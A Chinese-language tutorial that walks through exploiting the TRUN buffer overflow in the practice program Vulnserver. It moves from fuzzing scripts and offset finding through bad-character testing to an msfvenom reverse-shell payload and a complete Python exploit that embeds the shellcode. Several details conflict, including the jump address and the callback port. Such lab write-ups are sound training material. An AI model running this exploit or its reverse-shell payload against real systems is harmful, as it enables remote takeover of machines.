Vulnserver溢出漏洞分析与利用
vulnserver.exe是运行在windows上的程序,启动后,等待接收TCP连接。
信息收集
nmap扫描目标机,得知开启9999端口,即vulnserver程序。
模糊测试(Fuzzing)
测试是否存在缓冲区溢出问题
模糊测试py脚本如下:
#!/usr/bin/env python
import sys
import socket
host = sys.argv[1]
port = int(sys.argv[2])
fuzz = 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(2)
s.send("TRUN /:./" + 'A'*fuzz)
s.recv(1024)
print "Send str length: " + str(fuzz)
fuzz += 150
except Exception,err:
print "End...,Send str length: " + str(fuzz)
sys.exit()
finally:
s.close()
进行模糊测试
服务崩溃,EIP为发送的A
说明该服务TRUN
命令存在缓冲区溢出漏洞
查找偏移量(Finding the offset)
使用
Metasploit
的pattern_create工具创建一个500大小的字符串
查找偏移量py脚本如下:
#!/usr/bin/env python
import sys
import socket
host = sys.argv[1]
port = int(sys.argv[2])
fuzz = 2000
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(2)
s.send("TRUN /:./" + 'A'*fuzz + payload)
s.recv(1024)
print "Send str length: " + str(fuzz)
except Exception,err:
print "End...,Send str length: " + str(fuzz)
sys.exit()
finally:
s.close()
重启服务
Ctrl+2
->F9
,开始查找偏移量测试
EIP
寄存器的值是0x41316141
使用Metasploit工具
pattern_offset
来确定字节数
./pattern_offset.rb -l 500 -q 41316141
# -q参数为要查询的地址,-l参数为要查询的字符序列的长度
# 上图中我们得出的地址是 0x61413161, 而生成的字符串长度为500, 因此这里使用 -l 500 -q 61413161
计算结果为3
, 也就是说覆盖返回地址是在[2003-2007]
这四个字节
验证偏移量地址
#!/usr/bin/env python
import sys
import socket
host = sys.argv[1]
port = int(sys.argv[2])
fuzz = 2003
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(2)
s.send("TRUN /:./" + 'A'*fuzz + 'B'*4 + 'C'*1000)
s.recv(1024)
print "Send str length: " + str(fuzz)
except Exception,err:
print "End...,Send str length: " + str(fuzz)
sys.exit()
finally:
s.close()
程序崩溃后EIP为4个B,说明目前我们已经可以精确覆盖EIP了
覆盖EIP
让EIP重写为JMP ESP,以便把程序控制劫持到ESP处,从而能够运行我们的shellcode。
使用Metasploit的nasm_shell
工具查询JMP ESP
的十六进制值
寻找可利用的跳板
在Immunity Debugger
中使用mona
脚本查找可以利用的指令跳板
方法一:
!mona modules //找到SEH、ADLR等均为false的dll,作为指令跳板,此例中为essfunc.dll
!mona find -s "\xff\xe4" -m essfunc.dll // 找到essfunc.dll的JMP ESP指令位置,即地址[625011af]
方法二:
!mona jmp -r esp // 效果同上,直接找到essfunc.dll的JMP ESP指令地址,同样为[625011af]
将shellcode中要准备覆盖EIP的位置修改为'\xaf\x11\x50\x62'
#!/usr/bin/env python
import sys
import socket
host = sys.argv[1]
port = int(sys.argv[2])
fuzz = 2003
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(2)
s.send("TRUN /:./" + 'A'*fuzz + '\xaf\x11\x50\x62' + 'C'*1000)
s.recv(1024)
print "Send str length: " + str(fuzz)
except Exception,err:
print "End...,Send str length: " + str(fuzz)
sys.exit()
finally:
s.close()
可以看到,这里ESP指向的是我们在EIP后面给的1000个C
, 现在我们是要将C替换成我们希望运行的Shellcode。
查找坏字节
查找坏字符思路: 发送(0x00
–0xff
)256个字符,查找所有坏字符
#!/usr/bin/env python
import sys
import socket
host = sys.argv[1]
port = int(sys.argv[2])
fuzz = 2003
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00"
)
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(2)
s.send("TRUN /:./" + 'A'*fuzz + '\xbb\x11\x50\x62' + badchars)
s.recv(1024)
print "Send str length: " + str(fuzz)
except Exception,err:
print "End...,Send str length: " + str(fuzz)
sys.exit()
finally:
s.close()
可以看到所有字节都正常显示,表示没有需要过滤的坏字节。说明除了”\x00”以外的字符都可使用。
生成shellcode
利用msf生成shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.7.5.150 LPORT=1234 EXITFUNC=thread -f python -b "\x00\x0a\x0d" -a x86
# -b "\x00\x0a\x0d" 去掉坏字符
exp如下:
#!/usr/bin/env python
import sys
import socket
host = sys.argv[1]
port = int(sys.argv[2])
fuzz = 2003
buf = b""
buf += b"\xbd\xbd\x7a\xc7\xf1\xd9\xc3\xd9\x74\x24\xf4\x58\x2b"
buf += b"\xc9\xb1\x52\x31\x68\x12\x83\xc0\x04\x03\xd5\x74\x25"
buf += b"\x04\xd9\x61\x2b\xe7\x21\x72\x4c\x61\xc4\x43\x4c\x15"
buf += b"\x8d\xf4\x7c\x5d\xc3\xf8\xf7\x33\xf7\x8b\x7a\x9c\xf8"
buf += b"\x3c\x30\xfa\x37\xbc\x69\x3e\x56\x3e\x70\x13\xb8\x7f"
buf += b"\xbb\x66\xb9\xb8\xa6\x8b\xeb\x11\xac\x3e\x1b\x15\xf8"
buf += b"\x82\x90\x65\xec\x82\x45\x3d\x0f\xa2\xd8\x35\x56\x64"
buf += b"\xdb\x9a\xe2\x2d\xc3\xff\xcf\xe4\x78\xcb\xa4\xf6\xa8"
buf += b"\x05\x44\x54\x95\xa9\xb7\xa4\xd2\x0e\x28\xd3\x2a\x6d"
buf += b"\xd5\xe4\xe9\x0f\x01\x60\xe9\xa8\xc2\xd2\xd5\x49\x06"
buf += b"\x84\x9e\x46\xe3\xc2\xf8\x4a\xf2\x07\x73\x76\x7f\xa6"
buf += b"\x53\xfe\x3b\x8d\x77\x5a\x9f\xac\x2e\x06\x4e\xd0\x30"
buf += b"\xe9\x2f\x74\x3b\x04\x3b\x05\x66\x41\x88\x24\x98\x91"
buf += b"\x86\x3f\xeb\xa3\x09\x94\x63\x88\xc2\x32\x74\xef\xf8"
buf += b"\x83\xea\x0e\x03\xf4\x23\xd5\x57\xa4\x5b\xfc\xd7\x2f"
buf += b"\x9b\x01\x02\xff\xcb\xad\xfd\x40\xbb\x0d\xae\x28\xd1"
buf += b"\x81\x91\x49\xda\x4b\xba\xe0\x21\x1c\xcf\xf3\x2c\x50"
buf += b"\xa7\xf9\x2e\x79\x58\x77\xc8\x13\x88\xd1\x43\x8c\x31"
buf += b"\x78\x1f\x2d\xbd\x56\x5a\x6d\x35\x55\x9b\x20\xbe\x10"
buf += b"\x8f\xd5\x4e\x6f\xed\x70\x50\x45\x99\x1f\xc3\x02\x59"
buf += b"\x69\xf8\x9c\x0e\x3e\xce\xd4\xda\xd2\x69\x4f\xf8\x2e"
buf += b"\xef\xa8\xb8\xf4\xcc\x37\x41\x78\x68\x1c\x51\x44\x71"
buf += b"\x18\x05\x18\x24\xf6\xf3\xde\x9e\xb8\xad\x88\x4d\x13"
buf += b"\x39\x4c\xbe\xa4\x3f\x51\xeb\x52\xdf\xe0\x42\x23\xe0"
buf += b"\xcd\x02\xa3\x99\x33\xb3\x4c\x70\xf0\xd3\xae\x50\x0d"
buf += b"\x7c\x77\x31\xac\xe1\x88\xec\xf3\x1f\x0b\x04\x8c\xdb"
buf += b"\x13\x6d\x89\xa0\x93\x9e\xe3\xb9\x71\xa0\x50\xb9\x53"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(2)
s.send("TRUN /:./" + 'A'*fuzz + '\xbb\x11\x50\x62' + '\x90'*50 + buf)
s.recv(1024)
print "Send str length: " + str(fuzz)
本地对4448端口进行监听
执行exp
nc成功获得反弹shell,到此即成功得到交互shell。